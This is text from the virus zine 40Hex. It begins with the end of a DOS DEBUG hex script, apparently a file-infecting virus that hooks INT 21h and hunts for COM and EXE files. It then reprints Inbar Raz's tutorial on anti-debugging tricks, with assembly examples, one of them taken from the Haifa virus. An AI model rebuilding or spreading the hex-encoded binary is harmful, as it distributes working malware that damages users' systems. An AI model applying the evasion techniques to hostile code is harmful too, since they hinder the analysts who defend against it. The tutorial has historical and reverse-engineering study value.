e 0650  34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 
e 0660  00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F 
e 0670  8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC 
e 0680  24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 
e 0690  89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F 
e 06A0  2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 
e 06B0  80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 
e 06C0  80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 
e 06D0  00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 
e 06E0  52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 
e 06F0  BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 
e 0700  8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C 
e 0710  C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 
e 0720  44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF 
e 0730  17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 
e 0740  3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 
e 0750  2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 
e 0760  07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD 
e 0770  21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 
e 0780  AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D 
e 0790  4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD 
e 07A0  21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 
e 07B0  B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F 
e 07C0  44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D 
e 07D0  EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 
e 07E0  52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B 
e 07F0  44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 
e 0800  0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E 
e 0810  30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB 
e 0820  05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 
e 0830  64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 
e 0840  FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA 
e 0850  58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 
e 0860  80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 
e 0870  41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 
e 0880  89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C 
e 0890  FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D 
e 08A0  73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 
e 08B0  98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 
e 08C0  E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA 
rcx
07D0
w
q
-------------------------------------------------------------------------------
                                                                             DA
40Hex Number 9 Volume 2 Issue 5                                       File 004

I picked this up in a collection of clips from the Fidonet 80xxx echo,
figured it might interest someone.
                                        --Hawkmoon

===============================================================================

                            Anti Debugging Tricks
                                     By:
                                  Inbar Raz

                               Release number 2

  Today's anti debugging tricks devide into two categories:

  1. Preventive actions;
  2. Self-modifying code.

  Most debugging tricks, as for today, are used within viruses, in order to
avoid dis-assembly of the virus, as it will be exampled later in this file.
Another big part of anti debugging tricks is found with software protection
programs, what use them in order to make the cracking of the protection
harder.

1. Preventive actions:
----------------------

  Preventive actions are, basically, actions that the program takes in order
to make the user unable to dis-assemble the code or trace it while running.

1.1. Interrupt disable:

       Interrupt disable is probably the most common form of anti-debugging
     trick. It can be done in several ways:

   1.1.1. Hardware masking of interrupt:

            In order to avoid tracing of a code, one usually disables the
          interrupt via the 8259 Interrupt Controller, addressed by read/write
          actions to port 21h. The 8259 Interrupt Controller controls the IRQ
          lines. This means that any IRQ between 0 and 7 may be disabled by
          this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
          keyboard interrupt, you may disable the keyboard without the
          debugger being able to bypass it.

          Example:

          CS:0100 E421           IN     AL,21
          CS:0102 0C02           OR     AL,02
          CS:0104 E621           OUT    21,AL

            Just as a side notice, the keyboard may be also disabled by
          commanding the Programmable Perepheral Interface (PPI), port 61h.

          Example:

          CS:0100 E461           IN     AL,61
          CS:0102 0C80           OR     AL,80
          CS:0104 E661           OUT    61,AL

   1.1.2. Software masking of interrupt:

            This is quite an easy form of anti-debugging trick. All you have
          to do is simply replace the vectors of interrupts debuggers use/any
          other interrupt you will not be using or expecting to happen. Do not
          forget to restore the original vectors when you are finished.
          It is adviseable to use manual change of vector, as shown below,
          rather than to change it using interrupt 21h service 25h, because
          any debugger that has gained control of interrupt 21h may replace
          your vector with the debugger's. The example shows an interception
          of interrupt 03h - the breakpoint interrupt.

          Example:

          CS:0100 EB04           JMP    0106
          CS:0102 0000           ADD    [BX+SI],AL
          CS:0104 0000           ADD    [BX+SI],AL
          CS:0106 31C0           XOR    AX,AX
          CS:0108 8EC0           MOV    ES,AX
          CS:010A 268B1E0C00     MOV    BX,ES:[000C]
          CS:010F 891E0201       MOV    [0102],BX
          CS:0113 268B1E0E00     MOV    BX,ES:[000E]
          CS:0118 891E0401       MOV    [0104],BX
          CS:011C 26C7064C000000 MOV    Word Ptr ES:[000C],0000
          CS:0123 26C7064E000000 MOV    Word Ptr ES:[000E],0000

   1.1.3. Vector manipulation

            This method involves manipulations of the interrupt vectors,
          mainly for proper activation of the algorithm. Such action, as
          exampled, may be used to decrypt a code (see also 2.1), using data
          stored ON the vectors. Ofcourse, during normal operation of the
          program, vectors 01h and 03h are not used, so unless you are trying
          to debug such a program, it works fine.

          Example:

          CS:0100 31C0           XOR    AX,AX
          CS:0102 8ED0           MOV    SS,AX
          CS:0104 BC0600         MOV    SP,0006
          CS:0107 8B0E0211       MOV    CX,[1102]
          CS:010B 50             PUSH   AX
          CS:010C 21C8           AND    AX,CX
          CS:010E 01C5           ADD    BP,AX
          CS:0110 58             POP    AX
          CS:0111 E2F8           LOOP   010B

   1.1.4. Interrupt replacement

            This is a really nasty trick, and it should be used ONLY if you
          are ABSOLUTELY sure that your programs needs no more debugging. What
          it does is simply copy the vectors of some interrupts you will be
          using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
          that do not occure during normal operation of the program. If the
          user wants to debug the program, he would have to search for every
          occurance of INT 01, and replace it with the appropriate INT
          instruction.

          Example:

          CS:0100 FA             CLI
          CS:0101 31C0           XOR    AX,AX
          CS:0103 8EC0           MOV    ES,AX
          CS:0105 26A18400       MOV    AX,ES:[0084]
          CS:0109 26A30400       MOV    ES:[0004],AX
          CS:010D 26A18600       MOV    AX,ES:[0086]
          CS:0111 26A30600       MOV    ES:[0006],AX
          CS:0115 B44C           MOV    AH,4C
          CS:0117 CD01           INT    01

1.2. Time watch:

       This may be a less common method, but it is usefull against debuggers
     that disable all interrupts except for the time that the program is
     executed, such as Borland's Turbo Debugger. This method simply retains
     the value of the clock counter, updated by interrupt 08h, and waits in an
     infinite loop until the value changes. Another example is when you mask
     the timer interrupt by ORing the value INed from port 21h with 01h and
     then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
     this method is usefull only against RUN actions, not TRACE/PROCEED ones.

     Example:

     CS:0100 2BC0           SUB    AX,AX
     CS:0102 FB             STI
     CS:0103 8ED8           MOV    DS,AX
     CS:0105 8A266C04       MOV    AH,[046C]
     CS:0109 A06C04         MOV    AL,[046C]
     CS:010C 3AC4           CMP    AL,AH
     CS:010E 74F9           JZ     0109

1.3. Fool the debugger:

       This is a very nice technique, that works especially and only on those
     who use Turbo Debugger or its kind. What you do is init a jump to a
     middle of an instruction, whereas the real address actually contains
     another opcode. If you work with a normal step debugger such as Debug or
     SymDeb, it won't work since the debugger jumps to the exact address of
     the jump, and not to the beginning of an instruction at the closest
     address, like Turbo Debugger.

     Example:

     CS:0100 E421           IN     AL,21
     CS:0102 B0FF           MOV    AL,FF
     CS:0104 EB02           JMP    0108
     CS:0106 C606E62100     MOV    Byte Ptr [21E6],00
     CS:010B CD20           INT    20

     Watch this:

     CS:0108 E621           OUT    21,AL

1.4. Cause debugger to stop execution:

       This is a technique that causes a debugger to stop the execution of a
     certain program. What you need to do is to put some INT 3 instructions
     over the code, at random places, and any debugger trying to run will stop
     there. Since this techniqu causes the CPU to stop executing the program,
     and therefore clear the Prefetch Instruction Queue, it is adviseable to
     use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
     the example shows how to use these two tricks together.

     Example:

     CS:0100 B97502         MOV    CX,0275
     CS:0103 BE9001         MOV    SI,0190
     CS:0106 89F7           MOV    DI,SI
     CS:0108 AC             LODSB
     CS:0109 C70610013473   MOV    Word Ptr [0110],7334
     CS:010F CC             INT    3
     CS:0110 2406           AND    AL,06
     CS:0112 AA             STOSB
     CS:0113 C70610012406   MOV    Word Ptr [0110],0624
     CS:0119 E2ED           LOOP   0108

1.5. Halt TD386 V8086 mode:

       This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
     baed on the fact that TD386 does not use INT 00h to detect division by
     zero (or register overrun after division, which is treated by the
     processor in the same way as in case of division by zero). When TD386
     detects a division fault it aborts, reporting about the faulty
     division. In real mode (even under a regular debugger), a faulty DIV
     instruction will cause INT 00h to be called. Therefore, pointing INT 00h
     to the next instruction, will recover from the faulty DIV.

     Note: It is very important to restore INT 00h's vector. Otherwise, the
     next call to INT 00h will cause the machine to hang.

     Example:

     CS:0100 31C0          XOR     AX,AX
     CS:0102 8ED8          MOV     DS,AX
     CS:0104 C70600001201  MOV     WORD PTR [0000],0112
     CS:010A 8C0E0200      MOV     [0002],CS
     CS:010E B400          MOV     AH,00
     CS:0110 F6F4          DIV     AH
     CS:0112 B8004C        MOV     AX,4C00
     CS:0115 CD21          INT     21

1.6. Halt any V8086 process:

       Another way of messing TD386 is fooling it into an exception.
     Unfortunately, this exception will also be generated under any other
     program, running at V8086 mode. The exception is exception #13, and its
     issued interrupt is INT 0Dh - 13d. The idea is very similar to the
     divide by zero trick: Causing an exception, when the exception interrupt
     points to somewhere in the program's code. It will always work when the
     machine is running in real mode, but never under the V8086 mode.

     Note: It is very important to restore the original interrupt vectors.
     Otherwise, the next exception will hang the machine.

     Example:

     CS:0100 31C0          XOR     AX,AX
     CS:0102 8ED8          MOV     DS,AX
     CS:0104 C70634001301  MOV     WORD PTR [0034],0113
     CS:010A 8C0E3600      MOV     [0036],CS
     CS:010E 833EFFFF00    CMP     WORD PTR [FFFF],+00
     CS:0113 B8004C        MOV     AX,4C00
     CS:0116 CD21          INT     21

2. Self-modifying code:
-----------------------

2.1. Encryptive/decryptive algorithm:

       The first category is simply a code, that has been encrypted, and has
     been added with a decryption routine. The trick here is that when a
     debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
     in the desired address, and once that interrupt is executed, the debugger
     regains control of things. If you try to set a breakpoint AFTER the
     decryption algorithm, what is usually needed, you will end up putting an
     opcode CCh in a place where decryption action is taken, therefore losing
     your original CCh in favour of whatever the decryption algorithm makes.
     The following example was extracted from the Haifa virus. If you try to
     set a breakpoint at address CS:0110, you will never reach that address,
     since there is no way to know what will result from the change. Note that
     if you want to make the tracing even harder, you should start the
     decryption of the code from its END, so it takes the whole operation
     until the opcode following the decryption routine is decrypted.

     Example:

     CS:0100 BB7109         MOV    BX,0971
     CS:0103 BE1001         MOV    DI,0110
     CS:0106 91             XCHG   AX,CX
     CS:0107 91             XCHG   AX,CX
     CS:0108 2E803597       XOR    Byte Ptr CS:[DI],97
     CS:010C 47             INC    DI
     CS:010D 4B             DEC    BX
     CS:010E 75F6           JNZ    0106
     CS:0110 07             POP    ES
     CS:0111 07             POP    ES

2.2. Self-modifying code:

   2.2.1. Simple self-modification:

            This method implements the same principle as the encryption
          method: Change the opcode before using it. In the following example,
          we change the insruction following the call, and therefore, if you
          try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
          will not succeed, since the debugger will put its CCh on offset 104h,
          but when the routine runs, it overwrites location 104h.

          Example:

          CS:0100 E80400         CALL   0107
          CS:0103 CD20           INT    20
          CS:0105 CD21           INT    21
          CS:0107 C7060301B44C   MOV    Word Ptr [0103],4CB4
          CS:010D C3             RET

          Watch this:

          CS:0103 B44C           MOV    AH,4C

   2.2.2. Prefetch Instruction Queue (PIQ) manipulation:

            This method is a bit similar to (1.3), but it fools ANY debugger,
          or any other process that executes one operation at a time. The PIQ
          is an area within the CPU, that pre-fethces, ie. takes in advance,
          instructions from memory, so when they need to be executed, it
          would take less time to get them, since they are already in the CPU.
          The PIQ length ranges from 6 or 4 in old computers, up to as high as
          25 in new ones. What the trick does is change the FOLLOWING opcode
          to something meaningless. If you are debugging, then the change will
          take place BEFORE the instructions is executed or fetched. If you
          run the program NORMALLY, by the time you change the opcode, it will
          have already been fetched.

          Example:

          CS:0100 B97502         MOV    CX,0275
          CS:0103 BE9001         MOV    SI,0190
          CS:0106 89F7           MOV    DI,SI
          CS:0108 AC             LODSB
          CS:0109 C7060F012406   MOV    Word Ptr [010F],0624
          CS:010F 3473           XOR    AL,73
          CS:0111 AA             STOSB
          CS:0112 C7060F012406   MOV    Word Ptr [010F],0624
          CS:0118 E2EE           LOOP   0108

          Watch this:

          CS:010F 2406           AND    AL,06